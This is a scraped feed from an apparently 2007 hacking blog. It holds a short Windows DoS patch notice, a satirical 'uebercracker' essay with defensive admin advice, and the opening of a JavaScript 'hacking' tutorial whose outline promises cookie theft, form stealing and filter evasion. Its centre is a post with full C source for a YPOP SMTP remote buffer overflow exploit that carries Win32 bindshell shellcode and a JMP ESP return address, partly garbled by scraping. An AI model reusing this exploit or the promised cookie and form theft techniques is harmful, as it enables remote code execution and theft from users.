/&gt;&lt;br /&gt;Vulnerability 2 &lt;br /&gt;&lt;br /&gt;Another vulnerability that has been foud recently is that one can launch a DoS attack against winodws NT,2000,XP,.NET system. For detailed information and pacth plz visit this link http://www.microsoft.com/technet/treeview/...in/MS02-045.asp. &lt;br /&gt;I have checked my web servers that are still vulnerable to this type of attack. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;________________________________________________________________________________&lt;br /&gt;______________________________ &lt;br /&gt;&lt;br /&gt;How to protect yourself &lt;br /&gt;&lt;br /&gt;Please visit windowsupdate.microsoft.com and let the windows update itself.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-2042527636790514870?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/2042527636790514870/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=2042527636790514870' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/2042527636790514870'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/2042527636790514870'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/net-bios-hacking.html' title='Net bios hacking'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-3992605583603693354</id><published>2007-12-02T01:12:00.000-08:00</published><updated>2007-12-02T01:15:17.829-08:00</updated><title type='text'>Ypop Smtp Remote Buffer Overflow Exploit</title><content type='html'>The Bug is to send a request with more than 504 bytes that will overwrite ESP and cause a stack based overflow.&lt;br /&gt;&lt;br /&gt;Example:&lt;br /&gt;Telnet localhost 25&lt;br /&gt;220 YahooPOPs! Simple Mail Transfer Service Ready&lt;br /&gt;504xA CODE&lt;br /&gt;&lt;br /&gt;The EIP register will be overwritten and our code will be executed&lt;br /&gt;here is a little exploit&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt;br /&gt;/*-= ---------------------------------- =-&lt;br /&gt;* = YPOP SMTP Remote Buffer Overflow =&lt;br /&gt;* = BindShell Exploit by cyrex =&lt;br /&gt;* = Tested on Win2k SP4 =&lt;br /&gt;*-= ---------------------------------- =-&lt;br /&gt;* = Info: =&lt;br /&gt;* = If you need more offsets you need =&lt;br /&gt;* = to get the JMP Address of =&lt;br /&gt;* = libcurl.dll and the return address =&lt;br /&gt;* = of it. Try your luck. =&lt;br /&gt;*-= ---------------------------------- =-&lt;br /&gt;* = Usage: =&lt;br /&gt;* = ./ypop -h &lt;hostname&gt;=&lt;br /&gt;*-= ---------------------------------- =-&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include &lt;unistd.h&gt;&lt;br /&gt;#include &lt;stdarg.h&gt;&lt;br /&gt;#include &lt;netdb.h&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;#include &lt;sys&gt;&lt;br /&gt;#include &lt;sys&gt;&lt;br /&gt;#include &lt;netinet&gt;&lt;br /&gt;&lt;br /&gt;//;W32 BindShellcode by cyrex&lt;br /&gt;//;Listen on port 4567&lt;br /&gt;//;uses exit thread&lt;br /&gt;&lt;br /&gt;unsigned char shellcode[] =&lt;br /&gt;"\xfc\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45"&lt;br /&gt;"\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3"&lt;br /&gt;"\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74"&lt;br /&gt;"\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a"&lt;br /&gt;"\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01"&lt;br /&gt;"\xe8\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59"&lt;br /&gt;"\x64\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x53\x68"&lt;br /&gt;"\x8e\x4e\x0e\xec\xff\xd6\x89\xc7\x81\xec\x00\x01\x00\x00\x57\x56"&lt;br /&gt;"\x53\x89\xe5\xe8\x27\x00\x00\x00\x90\x01\x00\x00\xb6\x19\x18\xe7"&lt;br /&gt;"\xa4\x19\x70\xe9\xe5\x49\x86\x49\xa4\x1a\x70\xc7\xa4\xad\x2e\xe9"&lt;br /&gt;"\xd9\x09\xf5\xad\xcb\xed\xfc\x3b\x57\x53\x32\x5f\x33\x32\x00\x5b"&lt;br /&gt;"\x8d\x4b\x20\x51\xff\xd7\x89\xdf\x89\xc3\x8d\x75\x14\x6a\x07\x59"&lt;br /&gt;"\x51\x53\xff\x34\x8f\xff\x55\x04\x59\x89\x04\x8e\xe2\xf2\x2b\x27"&lt;br /&gt;"\x54\xff\x37\xff\x55\x30\x31\xc0\x50\x50\x50\x50\x40\x50\x40\x50"&lt;br /&gt;"\xff\x55\x2c\x89\xc7\x31\xdb\x53\x53\x68\x02\x00\x11\xd7\x89\xe0"&lt;br /&gt;"\x6a\x10\x50\x57\xff\x55\x24\x53\x57\xff\x55\x28\x53\x54\x57\xff"&lt;br /&gt;"\x55\x20\x89\xc7\x81\xec\x00\x10\x00\x00\x89\xe3\x6a\x00\x68\x00"&lt;br /&gt;"\x10\x00\x00\x53\x57\xff\x55\x18\x81\xec\x00\x04\x00\x00\xff\xd3";&lt;br /&gt;&lt;br /&gt;// Tested on Win2k SP4&lt;br /&gt;&lt;br /&gt;char ret_code[]="\x23\x9b\x02\x10"; //JMP ESP - libcurl.dll&lt;br /&gt;char jump_back[]="\x89\xe3\x66\x81\xeb\xfb\x01\xff\xe3";&lt;br /&gt;&lt;br /&gt;int fd,bytes;&lt;br /&gt;&lt;br /&gt;void usage(char *prog)&lt;br /&gt;{&lt;br /&gt;printf("Usage: %s &lt;parm&gt;\n",prog);&lt;br /&gt;printf("------\n");&lt;br /&gt;printf(" -h &lt;hostname&gt;e.g (-h 127.0.0.1)\n");&lt;br /&gt;printf(" -p &lt;port&gt;e.g (-p 25\n");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main(int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt;int arg,port,stack,i;&lt;br /&gt;char evilbuf[1024];&lt;br /&gt;char *hostname;&lt;br /&gt;char buffer[300];&lt;br /&gt;struct hostent *he;&lt;br /&gt;struct sockaddr_in client;&lt;br /&gt;&lt;br /&gt;printf("YPOP SMTP Remote Buffer overflow v0.4-0.6\n");&lt;br /&gt;printf(" BindShell Exploit by cyrex\n");&lt;br /&gt;printf("- - - - - - - - - - - - - - - - - - - - - \n");&lt;br /&gt;&lt;br /&gt;if(argc&lt;4) arg="getopt(argc," hostname="optarg;" port="atoi(optarg);" he="gethostbyname(hostname))="="NULL)" fd="socket(AF_INET,SOCK_STREAM,0))="="-1){" sin_family =" AF_INET;" sin_port =" htons(port);" sin_addr =" *((struct"&gt;h_addr);&lt;br /&gt;&lt;br /&gt;if(connect(fd, (struct sockaddr *)&amp;amp;client,sizeof(struct sockaddr))==-1) {&lt;br /&gt;printf("[-] Can't Connect to %s\n",hostname);&lt;br /&gt;exit(-1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;printf("[+] Connected!\n");&lt;br /&gt;&lt;br /&gt;if((bytes=recv(fd,buffer,300,0)) == NULL)&lt;br /&gt;{&lt;br /&gt;printf("[-] Error Receiving Welcome\n");&lt;br /&gt;exit(-1);&lt;br /&gt;}&lt;br /&gt;buffer[bytes]='\0';&lt;br /&gt;if((strstr(buffer,"220")==NULL)  (strstr(buffer,"YahooPOPs")==NULL) {&lt;br /&gt;printf("[-] Hmm.. you sure this is a SMTP Server?\n");&lt;br /&gt;exit(-1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;stack=504-sizeof(shellcode);&lt;br /&gt;memset(evilbuf,0,sizeof(evilbuf));&lt;br /&gt;for(i=0;i&lt;stack;i++)&gt; nc %s %i or\n",hostname,port);&lt;br /&gt;printf(" -&gt; telnet %s %i\n",hostname,port);&lt;br /&gt;&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-3992605583603693354?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/3992605583603693354/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=3992605583603693354' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/3992605583603693354'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/3992605583603693354'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/ypop-smtp-remote-buffer-overflow.html' title='Ypop Smtp Remote Buffer Overflow Exploit'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-4186793706590078321</id><published>2007-12-02T01:11:00.000-08:00</published><updated>2007-12-02T01:12:08.887-08:00</updated><title type='text'>How to become a master hacker</title><content type='html'>This is a paper will be broken into two parts, one showing 15 easy steps &lt;br /&gt;&lt;br /&gt;to becoming a uebercracker and the next part showing how to become a &lt;br /&gt;&lt;br /&gt;ueberadmin and how to stop a uebercracker.   A uebercracker is a term phrased &lt;br /&gt;&lt;br /&gt;by Dan Farmer to refer to some elite (cr/h)acker that is practically &lt;br /&gt;&lt;br /&gt;impossible to keep out of the networks. &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Here's the steps to becoming a uebercracker. &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Step 1. Relax and remain calm. Remember YOU are a Uebercracker. &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Step 2. If you know a little Unix, you are way ahead of the crowd and skip &lt;br /&gt;&lt;br /&gt;past step 3. &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Step 3. You may want to buy Unix manual or book to let you know what &lt;br /&gt;&lt;br /&gt;ls,cd,cat does. &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Step 4. Read Usenet for the following groups: alt.irc, alt.security, &lt;br /&gt;&lt;br /&gt;comp.security.unix.   Subscribe to Phrack@well.sf.ca.us to get a background &lt;br /&gt;&lt;br /&gt;in uebercracker culture. &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Step 5. Ask on alt.irc how to get and compile the latest IRC client and &lt;br /&gt;&lt;br /&gt;connect to IRC. &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Step 6. Once on IRC, join the #hack channel. (Whew, you are half-way &lt;br /&gt;&lt;br /&gt;there!) &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Step 7. Now, sit on #hack and send messages to everyone in the channel &lt;br /&gt;&lt;br /&gt;saying "Hi, Whats up?". Be obnoxious to anyone else that joins and asks &lt;br /&gt;&lt;br /&gt;questions like "Why cant I join #warez?" &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Step 8. (Important Step) Send private messages to everyone asking for new &lt;br /&gt;&lt;br /&gt;bugs or holes. Here's a good pointer, look around your system for binary &lt;br /&gt;&lt;br /&gt;programs suid root (look in Unix manual from step 3 if confused). After &lt;br /&gt;&lt;br /&gt;finding a suid root binary, (ie. su, chfn, syslog), tell people you have a &lt;br /&gt;&lt;br /&gt;new bug in that program and you wrote a script for it.   If they ask how it &lt;br /&gt;&lt;br /&gt;works, tell them they are "layme". Remember, YOU are a UeberCracker. Ask &lt;br /&gt;&lt;br /&gt;them to trade for their get-root scripts. &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Step 9. Make them send you some scripts before you send some garbage file &lt;br /&gt;&lt;br /&gt;(ie. a big core file). Tell them it is encrypted or it was messed up and &lt;br /&gt;&lt;br /&gt;you need to upload your script again. &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Step 10. Spend a week grabbing all the scripts you can. (Dont forget to be &lt;br /&gt;&lt;br /&gt;obnoxious on #hack otherwise people will look down on you and not give you &lt;br /&gt;&lt;br /&gt;anything.) &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Step 11. Hopefully you will now have atleast one or two scripts that get &lt;br /&gt;&lt;br /&gt;you root on most Unixes. Grab root on your local machines, read your &lt;br /&gt;&lt;br /&gt;admin's mail, or even other user's mail, even rm log files and whatever &lt;br /&gt;&lt;br /&gt;temps you. (look in Unix manual from step 3 if confused). &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Step 12. A good test for true uebercrackerness is to be able to fake mail. &lt;br /&gt;&lt;br /&gt;Ask other uebercrackers how to fake mail (because they have had to pass the &lt;br /&gt;&lt;br /&gt;same test). Email your admin how "layme" he is and how you got root and how &lt;br /&gt;&lt;br /&gt;you erased his files, and have it appear coming from satan@evil.com. &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Step 13. Now, to pass into supreme eliteness of uebercrackerness, you brag &lt;br /&gt;&lt;br /&gt;about your exploits on #hack to everyone. (Make up stuff, Remember, YOU are &lt;br /&gt;&lt;br /&gt;a uebercracker.) &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Step 14. Wait a few months and have all your notes, etc ready in your room &lt;br /&gt;&lt;br /&gt;for when the FBI, Secret Service, and other law enforcement agencies &lt;br /&gt;&lt;br /&gt;confinscate your equipment. Call eff.org to complain how you were innocent &lt;br /&gt;&lt;br /&gt;and how you accidently gotten someone else's account and only looked &lt;br /&gt;&lt;br /&gt;because you were curious. (Whatever else that may help, throw at them.) &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Step 15. Now for the true final supreme eliteness of all uebercrackers, you &lt;br /&gt;&lt;br /&gt;go back to #hack and brag about how you were busted.   YOU are finally a &lt;br /&gt;&lt;br /&gt;true Uebercracker. &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Now the next part of the paper is top secret.   Please only pass to trusted &lt;br /&gt;&lt;br /&gt;administrators and friends and even some trusted mailing lists, Usenet &lt;br /&gt;&lt;br /&gt;groups, etc. (Make sure no one who is NOT in the inner circle of security &lt;br /&gt;&lt;br /&gt;gets this.) &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;This is broken down on How to Become an UeberAdmin (otherwise know as a &lt;br /&gt;&lt;br /&gt;security expert) and How to stop Uebercrackers. &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Step 1. Read Unix manual ( a good idea for admins ). &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Step 2. Very Important.   chmod 700 rdist; chmod 644 /etc/utmp. Install &lt;br /&gt;&lt;br /&gt;sendmail 8.6.4.   You have probably stopped 60 percent of all Uebercrackers &lt;br /&gt;&lt;br /&gt;now.   Rdist scripts is among the favorites for getting root by &lt;br /&gt;&lt;br /&gt;uebercrackers. &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Step 3. Okay, maybe you want to actually secure your machine from the &lt;br /&gt;&lt;br /&gt;elite Uebercrackers who can break into any site on Internet.   &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Step 4. Set up your firewall to block rpc/nfs/ip-forwarding/src routing &lt;br /&gt;&lt;br /&gt;packets. (This only applies to advanced admins who have control of the &lt;br /&gt;&lt;br /&gt;router, but this will stop 90% of all uebercrackers from attempting your &lt;br /&gt;&lt;br /&gt;site.) &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Step 5. Apply all CERT and vendor patches to all of your machines. You have &lt;br /&gt;&lt;br /&gt;just now killed 95% of all uebercrackers. &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Step 6. Run a good password cracker to find open accounts and close them. &lt;br /&gt;&lt;br /&gt;Run tripwire after making sure your binaries are untouched. Run tcp_wrapper &lt;br /&gt;&lt;br /&gt;to find if a uebercracker is knocking on your machines.   Run ISS to make &lt;br /&gt;&lt;br /&gt;sure that all your machines are reasonably secure as far as remote &lt;br /&gt;&lt;br /&gt;configuration (ie. your NFS exports and anon FTP site.) &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Step 7. If you have done all of the following, you will have stopped 99% &lt;br /&gt;&lt;br /&gt;of all uebercrackers. Congrads! (Remember, You are the admin.)   &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Step 8. Now there is one percent of uebercrackers that have gained &lt;br /&gt;&lt;br /&gt;knowledge from reading some security expert's mail (probably gained access &lt;br /&gt;&lt;br /&gt;to his mail via NFS exports or the guest account.   You know how it is, like &lt;br /&gt;&lt;br /&gt;the mechanic that always has a broken car, or the plumber that has the &lt;br /&gt;&lt;br /&gt;broken sink, the security expert usually has an open machine.)   &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Step 9. Here is the hard part is to try to convince these security experts &lt;br /&gt;&lt;br /&gt;that they are not so above the average citizen and that by now giving out &lt;br /&gt;&lt;br /&gt;their unknown (except for the uebercrackers) security bugs, it would be a &lt;br /&gt;&lt;br /&gt;service to Internet.   They do not have to post it on Usenet, but share &lt;br /&gt;&lt;br /&gt;among many other trusted people and hopefully fixes will come about and &lt;br /&gt;&lt;br /&gt;new pressure will be applied to vendors to come out with patches. &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Step 10.   If you have gained the confidence of enough security experts, &lt;br /&gt;&lt;br /&gt;you will know be a looked upto as an elite security administrator that is &lt;br /&gt;&lt;br /&gt;able to stop most uebercrackers.   The final true test for being a ueberadmin &lt;br /&gt;&lt;br /&gt;is to compile a IRC client, go onto #hack and log all the bragging and &lt;br /&gt;&lt;br /&gt;help catch the uebercrackers. If a uebercracker does get into your system, &lt;br /&gt;&lt;br /&gt;and he has used a new method you have never seen, you can probably tell &lt;br /&gt;&lt;br /&gt;your other security admins and get half of the replies like - "That bug &lt;br /&gt;&lt;br /&gt;been known for years, there just isn't any patches for it yet. Here's my &lt;br /&gt;&lt;br /&gt;fix." and the other half of the replies will be like - "Wow.   That is very &lt;br /&gt;&lt;br /&gt;impressive. You have just moved up a big notch in my security circle." &lt;br /&gt;&lt;br /&gt;VERY IMPORTANT HERE:   If you see anyone in Usenet's security newsgroups &lt;br /&gt;&lt;br /&gt;mention anything about that security hole, Flame him for discussing it &lt;br /&gt;&lt;br /&gt;since it could bring down Internet and all Uebercrackers will now have it &lt;br /&gt;&lt;br /&gt;and the million other reasons to keep everything secret about security. &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Well, this paper has shown the finer details of security on Internet. It has &lt;br /&gt;&lt;br /&gt;shown both sides of the coin.   Three points I would like to make that would &lt;br /&gt;&lt;br /&gt;probably clean up most of the security problems on Internet are as the &lt;br /&gt;&lt;br /&gt;following: &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;1.   Vendors need to make security a little higher than zero in priority. &lt;br /&gt;&lt;br /&gt;If most vendors shipped their Unixes already secure with most known bugs &lt;br /&gt;&lt;br /&gt;that have been floating around since the Internet Worm (6 years ago) fixed &lt;br /&gt;&lt;br /&gt;and patched, then most uebercrackers would be stuck as new machines get &lt;br /&gt;&lt;br /&gt;added to Internet.   (I believe Uebercracker is german for "lame copy-cat &lt;br /&gt;&lt;br /&gt;that can get root with 3 year old bugs.") An interesting note is that &lt;br /&gt;&lt;br /&gt;if you probably check the mail alias for "security@vendor.com", you will &lt;br /&gt;&lt;br /&gt;find it points to /dev/null.   Maybe with enough mail, it will overfill &lt;br /&gt;&lt;br /&gt;/dev/null.   (Look in manual if confused.) &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;2.   Security experts giving up the attitude that they are above the normal &lt;br /&gt;&lt;br /&gt;Internet user and try to give out information that could lead to pressure &lt;br /&gt;&lt;br /&gt;by other admins to vendors to come out with fixes and patches.   Most &lt;br /&gt;&lt;br /&gt;security experts probably don't realize how far their information has &lt;br /&gt;&lt;br /&gt;already   spread. &lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;3.   And probably one of the more important points is just following the &lt;br /&gt;&lt;br /&gt;steps I have outlined for Stopping a Uebercracker.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-4186793706590078321?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/4186793706590078321/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=4186793706590078321' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/4186793706590078321'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/4186793706590078321'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/how-to-become-master-hacker.html' title='How to become a master hacker'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-3913631361316537259</id><published>2007-11-28T07:10:00.000-08:00</published><updated>2007-11-28T07:12:59.210-08:00</updated><title type='text'>Javascript hacking</title><content type='html'>things to come: example of stealing info from users (anti-virus programs and trojans), story of ciru cookie stealing from acanium, ThePull's javascript exploits, and the about:// exploit. Since so many people were asking when this tutorial would come out I decided to finally put it up. I'd appriecated some feedback. Flames without a reason are not welcome. This tutorial is not completely finished.. and probably never will be :(&lt;br /&gt;&lt;br /&gt;-idea: cross site scriptting by opening a new page in a frame and then writting to form fields or somehow injecting javascript. Or somehow write the html to the top or bottom.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Intro&lt;br /&gt;&lt;br /&gt;Javascript is used as a client side scripting language, meaning that your browser is what interprets it. It is used on webpages and is secure (for the most part) since it cannot touch any files on your hard drive (besides cookies). It also cannot read/write any files on the server. Knowing javascript can help you in both creating dynamic webpages, meaning webpages that change, and hacking. First I will start with the basic javascript syntax, then I will list a few sites where you can learn more, and then I will list a few ways you can use javascript to hack.&lt;br /&gt;&lt;br /&gt;There are a few benifits of knowing javascript. For starters, it is really the only (fully supported) language that you can use on a website making it a very popular language on the net. It is very easy to learn and shares common syntax with many other languages. And it is completely open source, if you find something you like done in javascript you can simply view the source of the page and figure out how it's done. The reason I first got into javascript was because back before I got into hacking I wanted to make my own webpage. I learned HTML very quickly and saw Dynamic HTML (DHTML) mentioned in a few tutorials. I then ventured into the land of javascript making simple scripts and usful features to my site.&lt;br /&gt;&lt;br /&gt;It was only after I was pretty good with javascript and got into hacking that I slowly saw it's potential to be used milisously. Many javascript techniques are pretty simple and involve tricking the user into doing something. Almost pure social engineering with a bit of help from javascript. After using simple javascript tricks to fake login pages for webbased email I thought about other ways javascript could be used to aid my hacking, I studied it on and off for around a year. Some of these techniques are used by millions of people, some I came up with an are purely theorectical. I hope you will realize how much javascript can aid a hacker.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1. Basic Syntax&lt;br /&gt;2. Places To Learn More Advanced Javascript&lt;br /&gt;3. Banner Busting &amp;amp; Killing Frames&lt;br /&gt;4. Getting Past Scripts That Filter Javascript&lt;br /&gt;5. Stealing Cookies&lt;br /&gt;6. Stealing Forms&lt;br /&gt;7. Gaining Info On Users&lt;br /&gt;8. Stories Of Javascript Hacks&lt;br /&gt;9. Conclusion&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1. Basic Syntax&lt;br /&gt;&lt;br /&gt;The basics of javascript are fairly easy if you have programmed anything before, although javascript is not java, if you know java you should have no problems learning it. Same for any other programming language, as most share the same basics as javascript uses. This tutorial might not be for the complete newbie. I would like to be able to do a tutorial like that, but I don't have the time or patience to write one. To begin if you don't know html you must learn it first!&lt;br /&gt;&lt;br /&gt;Javascript starts with the tag&lt;script language="javascript"&gt; and ends with &lt;/script&gt;&lt;br /&gt;Anything between these two tags is interpreted as javascript by the browser. Remember this! Cause a few hacks use the fact that if you use&lt;script type="javascript"&gt; and don't finish it all the html on the page underneath that is ignored.  You can also use &lt;script type="text/javascript"&gt; and &lt;&lt;/script&gt;&lt;br /&gt;.. either way is fine. I would also like to mention that many scripts have right before the &lt;/script&gt;tag, this is because they would like to make it compatible with other browsers that do not support javascript. Again, either way is fine, but I will be using the because that is how I learned to script and I got used to putting it in.&lt;br /&gt;&lt;br /&gt;Javascript uses the same basic elements as other programming languages.. Such as variables, flow control, and functions. The only difference is that javascript is a lot more simplified, so anyone with some programming experience can learn javascript very quickly. The hardest part of scripting javascript is to get it to work in all browsers. I will now go over the basics of variables:&lt;br /&gt;&lt;br /&gt;to define a variable as a number you do: var name = 1;&lt;br /&gt;to define a variable as a string you do: var name = 'value';&lt;br /&gt;&lt;br /&gt;A variable is basically the same in all programming languages. I might also point out that javascript does not support pointers. No structs to make your own variables either. Only variable types are defined by 'var'. This can be a hard thing to understand at first, but javascript is much like C++ in how it handles variables and strings. A string is a group of characters, like: 'word', which is a string. When you see something like document.write(something); it will try to print whatever is in the variable something. If you do document.write('something'); or document.write("something"); it will print the string 'something'. Now that you got the variables down lets see how to use arithmetic operators. This will make 2 variables and add them together to make a new word:&lt;br /&gt;&lt;br /&gt;&lt;script type="text/javascript"&gt;&lt;br /&gt;&lt;!--  var name = 'b0iler';  var adjective = 'owns';  document.write(name+adjective);  //--&gt;&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;first we define the variable 'name' as b0iler, then I define 'adjective' as owns. Then the document.write() function writes it to the page as 'name'+'adjective' or b0ilerowns. If we wanted a space we could have did document.write(name+' '+adjective);&lt;br /&gt;&lt;br /&gt;Escaping characters - This is an important concept in programming, and extremely important in secure programming for other languages.. javascript doesn't really need to worry about secure programming practice since there is nothing that can be gained on the server from exploitting javascript. So what is "escaping"? It is putting a \ in front of certain characters, such as ' and ". If we wanted to print out:&lt;br /&gt;&lt;br /&gt;b0iler's website&lt;br /&gt;&lt;br /&gt;We couldn't do:&lt;br /&gt;&lt;br /&gt;document.write('b0iler's website');&lt;br /&gt;&lt;br /&gt;because the browser would read b0iler and see the ' then stop the string. We need to add a \ before the ' so that the browser knows to print ' and not interpret it as the ending ' of the string. So here is how we could print it:&lt;br /&gt;document.write('b0iler\'s website');&lt;br /&gt;&lt;br /&gt;There are two types of comments in javascript. // which only lasts till the end of the line, and /* which goes as many as far as possible until it reaches */ I'll demonstrate:&lt;br /&gt;&lt;br /&gt;&lt;script type="text/javascript"&gt;&lt;br /&gt;&lt;!--  document.write('this will show up'); // this will not, even document.write('blah'); won't  /* document.write('this also will not show up');  this won't ether. document.write('or this');  it is all in the comments.. which aren't rendered by the browser */  //--&gt;&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;The only thing that script will do is print "this will show up". Everything else is in comments which are not rendered as javascript by the browser.&lt;br /&gt;&lt;br /&gt;Flow Control is basically changing what the program does depending on whether something is true or not. Again, if you have had any previous programming experience this is old stuff. You can do this a few different ways different ways. The simplest is the if-then-else statements. Here is an example:&lt;br /&gt;&lt;br /&gt;&lt;script type="text/javascript"&gt;&lt;br /&gt;&lt;!--  var name = 'b0iler';   if (name == 'b0iler'){ document.write('b0iler is a really cool guy!'); }  else { document.write('b0iler can not define variables worth a hoot!'); }  //--&gt;&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;Lets break this down step by step. First I create the variable 'name' and define it as b0iler. Then I check if 'name' is equal to "b0iler" if it is then I write 'b0iler is a really cool guy!', else (if name isn't equal to b0iler) it prints 'b0iler can not define variables worth a hoot!'. You will notice that I put { and } around the actions after the if and else statements. You do this so that javascript knows how much to do when it is true. When I say true think of it this way:&lt;br /&gt;&lt;br /&gt;if (name == 'b0iler')&lt;br /&gt;as&lt;br /&gt;if the variable name is equal to 'b0iler'&lt;br /&gt;&lt;br /&gt;if the statement name == 'b0iler' is false (name does not equal 'b0iler') then whatever is in the {} 